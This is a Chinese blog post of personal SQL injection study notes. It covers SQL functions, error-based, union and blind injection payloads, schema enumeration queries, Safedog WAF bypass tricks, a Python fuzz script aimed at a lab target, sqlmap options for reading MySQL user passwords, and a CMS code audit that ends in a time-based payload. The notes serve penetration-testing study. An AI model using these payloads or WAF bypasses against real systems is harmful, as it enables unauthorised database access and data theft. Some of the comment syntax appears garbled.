杂乱无章的sql注入学习笔记(应该会持续更新)
关于注入点:
注入点不仅仅有.php?id=xxx 只要是后端有交互的点都可能存在sql注入,黑盒情况下不知道后端,所以得fuzz,有的数据库会对你的cookie ua进行查询操作,甚至是别的请求头,所以要都fuzz试试.甚至对图片的查询操作都可能存在注入点,思路要打开.
学习sql语句:
参考SQL 通配符 --- SQL Wildcard Characters (w3schools.com)
Distinct 去重
Case 满足一个条件返回一个指定值
SELECT OrderID, Quantity,
CASE
WHEN Quantity > 30 THEN "The quantity is greater than 30"
WHEN Quantity = 30 THEN "The quantity is 30"
ELSE "The quantity is under 30"
END
FROM OrderDetails;
Updatexml 可用于报错注入
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
举个例子就明白了:
SELECT * FROM LMX_BOOK WHERE UID IN($ID)
PAYLOAD : ?id= 1) or updatexml(0,concat(0x7e,version()),1)--+
0x7e为波浪线,在extractvalue或updatexml中为报错用的(xpath中的违规字符)
||可以代替or ;&&可以代替and ; | 可以代替xor ; ! 可以代替not;空格有时候可以代替and select x y from xxx
``反引号包裹表明’’””一般引号包裹字符串
EXISTS 判断有无记录返回(检查是否存在 (对语句结果检查select exists(select 1))
也可进行爆破表名/库名
Select 1 and exists(select * from table_name)
select 1 and exists(select column_name from table_name)
ASCII函数 配合EXISTS爆破:
select ASCII(‘u’) 等同于select ASCII(‘username’)
select * from duser where id=1 and EXISTS(select * from duser1 where ASCII(username)=117)
mid 注入中也用于显示字符第一位:
select mid(database() from 1 for 1);
例子👆
Substring(也可写作substr) 同样可用于爆破(注:sql语法的str多为从1开始遍历)
select substring(‘fuckyou’,3,2)s ck (从第三个开始截取两个)
length 类似python的len,判断长度
SPACE(int)幽默的函数 select(100) 一百个空格
group_concat()/concat() 经典的把好多东西放到同一字段显示的语句:
group_concat和concat的区别:
select concat(id, ’,’, name) 返回 1,ssesmof
select concat(‘my’,null,’ql’) 返回 Null
通过以上这种concat的用法可以把好多字段的数据放到同一个字段
实战应用:select 0,1,concat(0x7e,database(),0x7e,user(),0x7e,@@
datadir)
0x7e为波浪线,此处为好看用的,但是在extractvalue或updatexml中为报错用的(xpath中的违规字符)
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
*使用表info作为示例,其中语句SELECT locus,id,journal FROM info WHERE locus IN('AB086827','AF040764');的返回结果为
+----------+----+--------------------------+
| locus | id | journal |
+----------+----+--------------------------+
| AB086827 | 1 | Unpublished |
| AB086827 | 2 | Submitted (20-JUN-2002) |
| AF040764 | 23 | Unpublished |
| AF040764 | 24 | Submitted (31-DEC-1997) |
+----------+----+--------------------------+
*语句 SELECT locus,GROUP_CONCAT(id) FROM info WHERE locus IN('AB086827','AF040764') GROUP BY locus;的返回结果为
+----------+------------------+
| locus | GROUP_CONCAT(id) |
+----------+------------------+
| AB086827 | 1,2 |
| AF040764 | 23,24 |
+----------+------------------+
实战中select group_concat(SCHEMA_NAME) from information_schema.schemata
直接结合所有数据库名
select group_concat(table_name) from information_schema.tables where table_schema=database()
所有表名
select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264
字段名(可以用十六进制编码绕过一些黑名单,这个例子绕过password)
总结这俩的区别:concat不合并行而group_concat合并行
as 创建别名 SELECT CustomerID AS ID, CustomerName AS Customer FROM Customers; 字段名变为as指定的字符. 还有一些可替换的用法select (select 1)s 等同于select (select 1) as s as后不能为纯数字
like 模糊查询 where customername like “xx”
sql有自己的通配符 %相当于* _相当于?占位符[] 和linux的[]用法差不多也可以写成[a-z]这种形式
不同数据库语法不一样
limit 仅显示前几列
加减乘除也可以判断是否存在注入点
ord函数 和access的 asc函数作用一样,返回其参数的第一个字符的ascii编码
order by 经典的查字段语句后面接字段名或是数字都可以,接什么就依据什么排序,多出字段数会报错
null 空字段 select * from schema where shabi is null
min/max/sum/count 函数顾名思义 例: select max(id) from duser 查询最大的id; count查询有多少个
UNION 经典联合注入方法 union默认会去重,union all不去重. 例子:
Select 语句一 union select 语句二
会将两个查询语句拼接,使行数变多
注入时用于在原本的语句上加自己的语句
经过实验我也理解了union 为什么要猜字段数
因为只有union select后跟的select查的字段数和前边select查的字段数一样时才不会报错
Group by 根据字段名去重
Having 某些场景下无法使用where: select count(username)coutn, id, username, pass from duser group by username having count=5
Join
Inner join :
Select * FROM DUSER INNER JOIN DUSER1 ON DUSER.ID=DUSER1.ID
查询DUSER和DUSER1两个表中id字段的交集部分的数据
LEFT JOIN:
Select * FROM DUSER LEFT JOIN DUSER1 ON DUSER.ID=DUSER1.ID
全部显示DUSER , 部分显示DUSER1(显示和DUSER有交集的DUSER1数据)
RIGHT JOIN:
和上边的LEFT同理,不多赘述
以上只是语句,join在注入时也有用处(可以用来绕过逗号).
Union select 1,2 等价于👇
Union select * from(select 1)a join (select 2)b
Any 在 where中使用
例:
SELECT ProductName
FROM Products
WHERE ProductID = ANY (SELECT ProductID FROM OrderDetails WHERE Quantity = 10);
判断ProductID是否存在于任何SELECT ProductID FROM OrderDetails WHERE Quantity = 10的结果
All 和any的应用场景类似
例:
Select * from duser where all id>(select id from duser1)
顾名思义,判断id是否大于所有select id from duser1的结果
elt()的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数。
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
field() 的分流特性
FIELD(str, str1, str2, str3, ……)
字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。
Isnull SQL中 isnull()用法总结_sql isnull-CSDN博客
Sqlserver 例如:select isnull(分数,0) from xuesheng where name='凡九龙' 在表xuesheng中,字段分数如果为空,结果输出0。如果不为空,输出字段分数的值。
Mysql 1.isnull(exper) 判断exper是否为空,是则返回1,否则返回0
2.ifnull(exper1,exper2)判断exper1是否为空,是则用exper2代替
3.nullif(exper1,exper2)如果expr1= expr2 成立,那么返回值为NULL,否则返回值为 expr1。
Backup database abname
to disk ‘path’
备份数据库到指定目录
判断注入点2021-4-4 sql注入-CSDN博客
- 单引号判断
?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。 - and判断
?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页
?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。 - or判断
(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
?id=10’or 1=1
?id=10’or 1=2 - xor判断
(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
http://www.xxx.com/xxx.asp?id=10’xor 1=1
http://www.xxx.com/xxx.asp?id=10’xor 1=2 - 加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
http://www.xxx.com/xxx.asp?id=10-0
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1 - 输入框判断
可以使用特殊符号去判断
@!$/ …
闭合方法总结
1:最经典的?id=’ UNION ALL SELECT… --+
2:在查询语法中可用?id=nm%’ and 1=2 union …… and ‘%’=’
这种方法适用于这类sql语句: select * from sy_guestbook where gName like ‘%$s%’
闭合后:select * from users where password like '%nm%'and 1=2 union select 1,2,3,4 and '%'='%';
3:union注入中闭合后 and 1=2使原sql语句不执行(不显示正常结果),执行union select的语句
4:括号闭合
5:两个or闭合,参考文末女保安案例
l
Sql注入的fuzz脚本:
import requests
import urllib
for i in range(0,177):
url = r"http://192.168.130.135/Less-1/?id=1' xor {fuzz}updatexml{fuzz}(1,(select hex(user//(//))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))
小技巧:
(mysql)1 and 1-1 0 1 and 2-1 1 ←bool盲注小技巧
%0a为换行符也可以代替空格
时间盲注: id=1 and if(1=1,sleep(5),0)
Select的内容如果是0x开头会自动ascii转码.
SortID=(asc(mid(id,1,1))-64)
语句分析👆:mid 从字符串中提取在后两个参数之间的字符串,asc 返回“CustomerName”中第一个字符的 ASCII 值.不难理解(这是access数据库的语法,mysql的语法为ord(‘str’))
用burp的battering ram跑sql的bypass字符字典
日狗技巧: 使用mysql的内联注释就可以绕过
Mysql中注释/!/可以来替换空格绕过,它是一种特殊的注释,被称为条件编译注释。当!后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。
可以用内联注释绕狗:
?id=1’ and/!000001/=/!000001/--+ 等同于?id=1’ and 1=1--+
?id=1’ and/!000001/=/!000002/--+ 等同于?id=1’ and 1=2--+
若/!N指定语句/ 中的N小于mysql数据库版本则指定语句会被执行N需要为五位
上边的/!000001/ 中的00000为数据库版本,1为指定语句
当然也可以这样id=1’ /!00000and 1=1/
总结一下内联注释:/!00000指定语句/ 00000和指定语句间的空格也会被解析
(👆,刚刚的新发现,/!语句*/同样可以)
分享几个日狗链接MySQL注入之Fuzz测试&Bypass WAF小结 - smileleooo - 博客园 (cnblogs.com)
SQL注入之乱打安全狗_哔哩哔哩_bilibili
SQL注入及bypass思路(3)安全狗safedog - 春告鳥 - 博客园 (cnblogs.com)
神奇的日狗小语法1
新发现!!!!堆叠很多%23%0a可以绕过
不知道为什么这个语法可以绕过
?id=/!11440updatexml/(1,1,1)--+
而这个不行
?id=/!1130updatexml/(1,1,1)--+
真是神奇,狗会放行版本为11440的内联注释
神奇的日狗小语法2
日老狗的语法:将内联注释和%0a换行符结合使用:
?id=1/!500001— qwe/%0a and 1=2 union select 1,2,3/
日新狗的语法:好像只能用bool
?id=1%27/!and////substr((select/*//hex(/!USER/(/*/**/))),1,1)>123--+
这个语句通过上文的fuzz脚本跑出来
通用绕waf总结:
白名单绕过:运用解析漏洞:
Xxx.php/.jpg?id=payload
参数拆分绕过 这个有意思
登录口的Username写’or 1=1/* password写/--+
最后查询语句变为select * from user where username=”or 1=1/”‘and password=’/--+’
Fuzz一个payload比如id=1FUZZandFUZZ1=2--+
SQL注入之waf绕过 - 11阳光 - 博客园 (cnblogs.com)
HTTP参污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
垃圾参数(常用在post)
举例:a=AAAAAA[很多个A] &id=1 order by X[1-3]
分块传输
在burp中关闭自动补全,删掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行
Sqlmap:
默认的tamper位置在/usr/share/sqlmap/tamper
有一个unmagicquotes.py tamper绕过魔术引号(通过宽字节等方法)
Sqlmap -u xxx –tamper=xxx –level 5 -v
-technique=注入类型 E为报错注入 U为union注入
--is-dba 判断是否为高权限
--privileges 查当前权限
Mysql中有一个 mysql.user表保存mysql的用户的信息—passwords参数可以在这个表中查密码--users参数查用户都有谁喵
学SQL注入时候翻了一篇文章渗透测试 | 记一次简单的 CMS 漏洞挖掘 - FreeBuf网络安全行业门户
代码审计:
if (in_array("{$mod}.php", pe_dirlist("{$pe['path_root']}admin/module/.php"))) {
include("{$pe['path_root']}admin/module/{$mod}.php");
}
pe_result();
这段代码判mod参数是存在于moudule/ 文件夹下,存在的话就文件包含
mod参数传入user 包含user.php👇
public function pe_selectall($table, $where = '', $field = '', $limit_page = array()) {
// 处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from ".dbpre."{$table} {$sqlwhere}", $limit_page);
}
传入了sql_selectall函数,这个函数也没做过滤👇
public function sql_selectall($sql, $limit_page = array()) {
// 处理分页
if (count($limit_page) == 2) {
$allnum = $this->sql_num(preg_replace('/select [\s\S]+?( ?! from) from/', 'select count(1) from', $sql, 1));
$this->page = new page($allnum, $limit_page[1], $limit_page[0]);
$sqllimit = $this->page->limit;
} elseif (count($limit_page) == 1) {
$sqllimit = " limit {$limit_page[0]}";
} else {
$sqllimit = "";
}
$result = $this->query($sql . $sqllimit);
$rows = array();
// 自定义索引
if ($this->table_index) {
$table_index = explode("|", $this->table_index);
$table_index_num = count($table_index);
unset($this->table_index);
} else {
$table_index_num = 0;
}
while ($row = $this->fetch_assoc($result)) {
if ($table_index_num == 1) {
$rows[$row[$table_index[0]]] = $row;
} elseif ($table_index_num == 2) {
$rows[$row[$table_index[0]]][$row[$table_index[1]]] = $row;
} else {
$rows[] = $row;
}
}
return $rows;
}
直接上payload: 'and(select*from(select+1)a//union//select+if(length(database())=6,sleep(5),1))='
案例1: https://mp.weixin.qq.com/s/WBAvN0QOBQEXu-3X4pFb3A 逆向加密从而写tamper注入
案例2: https://mp.weixin.qq.com/s/1lngypZ15NwOr_cBefFcdQ 用’和两个’和三个’和四个’判断出的注入点
,然后使用五千个垃圾参数绕过第一个waf, 然后使用||代替or绕过第二个waf, 使用<>代替=绕过第三个waf,但是失败了,然后fuzz很多函数,看看哪个函数不在黑名单,最后用instr函数构造payload:
' || 1/(1-INSTR(USER,'a')) || '
本文作者:sesmof
本文链接:https://www.cnblogs.com/sesmof/p/18304254
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步